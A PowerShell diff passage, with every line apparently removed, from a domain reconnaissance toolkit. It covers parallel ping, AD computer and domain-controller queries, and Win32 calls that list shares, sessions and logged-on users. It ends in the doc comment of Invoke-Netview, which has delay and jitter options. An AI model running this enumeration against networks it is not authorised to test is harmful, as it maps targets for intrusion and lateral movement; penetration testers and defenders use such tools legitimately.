returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString - } - } - } - } - catch{ - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } - } - end {} -} - - -# adapted from RamblingCookieMonster's code at -# https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 -function Invoke-Ping { -<# -.SYNOPSIS - Ping systems in parallel - Author: RamblingCookieMonster - -.PARAMETER ComputerName - One or more computers to test - -.PARAMETER Timeout - Time in seconds before we attempt to dispose an individual query. Default is 20 - -.PARAMETER Throttle - Throttle query to this many parallel runspaces. Default is 100. - -.PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out - - This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. - -.EXAMPLE - $Responding = $Computers | Invoke-Ping - - # Create a list of computers that successfully responded to Test-Connection - -.LINK - https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 - https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a -#> - - [cmdletbinding(DefaultParameterSetName='Ping')] - param( - [Parameter( ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - Position=0)] - [string[]]$ComputerName, - - [int]$Timeout = 20, - - [int]$Throttle = 100, - - [switch]$NoCloseOnTimeout - ) - - Begin - { - $Quiet = $True - - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel { - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [switch] $Quiet = $false - ) - - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) - - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if( $PSBoundParameters.ContainsKey("inputObject") ){ - $global:__bound = $true - } - - #endregion INIT - } - - Process { - #add piped objects to all objects or set all objects to bound input object parameter - if( -not $global:__bound ){ - $allObjects += $inputObject - } - else{ - $allObjects = $InputObject - } - } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - } - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - #collect garbage - [gc]::Collect() - } - } - } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if(-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() - } - } - Process - { - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null - } - } - } - End - { - #Built up the parameters and run everything in parallel - $params = @() - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - } - if($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout',$True) - } - - Invoke-Parallel @splat -ScriptBlock { - $computer = $_.trim() - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) - { - $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } - $Output.address - } - } - Catch - { - } - } - } -} - - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, - - [Switch] - $RPC - ) - - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} - - -######################################################## -# -# Domain info functions below. -# -######################################################## - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## - -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} - -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - $object - ) - process { - if($object){ - if ( [bool]($object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputers - $object.dnshostname - } - elseif ( [bool]($object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainControllers - $object.name - } - else { - # strings and catch alls - $object - } - } - else{ - return $Null - } - } -} - - -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - } - - } -} - - -function Get-NetShare { - <# - .SYNOPSIS - Gets share information for a specified server. - - .DESCRIPTION - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" - - .PARAMETER HostName - The hostname to query for shares. - - .OUTPUTS - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. - - .EXAMPLE - > Get-NetShare - Returns active shares on the local host. - - .EXAMPLE - > Get-NetShare -HostName sqlserver - Returns active shares on the 'sqlserver' host - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # arguments for NetShareEnum - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get the share information - $Result = $Netapi32::NetShareEnum($HostName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetShare result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - } - # free up the result buffer - $Netapi32::NetApiBufferFree($ptrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -function Get-NetLoggedon { - <# - .SYNOPSIS - Gets users actively logged onto a specified server. - - .DESCRIPTION - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. - - .PARAMETER HostName - The hostname to query for logged on users. - - .OUTPUTS - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. - - .EXAMPLE - > Get-NetLoggedon - Returns users actively logged onto the local host. - - .EXAMPLE - > Get-NetLoggedon -HostName sqlserver - Returns users actively logged onto the 'sqlserver' host. - - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # Declare the reference variables - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($HostName, $QueryLevel,[ref]$PtrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetLoggedon result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $WKSTA_USER_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -function Get-NetSessions { - <# - .SYNOPSIS - Gets active sessions for a specified server. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) - - .DESCRIPTION - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - - .PARAMETER HostName - The hostname to query for active sessions. - - .PARAMETER UserName - The user name to filter for active sessions. - - .OUTPUTS - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions. - - .EXAMPLE - > Get-NetSessions - Returns active sessions on the local host. - - .EXAMPLE - > Get-NetSessions -HostName sqlserver - Returns active sessions on the 'sqlserver' host. - - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', - - [string] - $UserName = '' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # arguments for NetSessionEnum - $QueryLevel = 10 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get session information - $Result = $Netapi32::NetSessionEnum($HostName, '', $UserName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetSessions result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SESSION_INFO_10 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -######################################################## -# -# 'Meta'-functions start below -# -######################################################## - -function Invoke-Netview { - <# - .SYNOPSIS - Queries the domain for all hosts, and retrieves open shares, - sessions, and logged on users for each host. - Original functionality was implemented in the netview.exe tool - released by Rob Fuller (@mubix). See links for more information. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This is a port of Mubix's netview.exe tool. It finds the local domain name - for a host using Get-NetDomain, reads in a host list or queries the domain - for all active machines with Get-NetComputers, randomly shuffles the host list, - then for each target server it runs Get-NetSessions, Get-NetLoggedon, - and Get-NetShare to enumerate each target host. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs enumerate. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ExcludeShares - Exclude common shares from display (C$, IPC$, etc.) - - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain to enumerate for 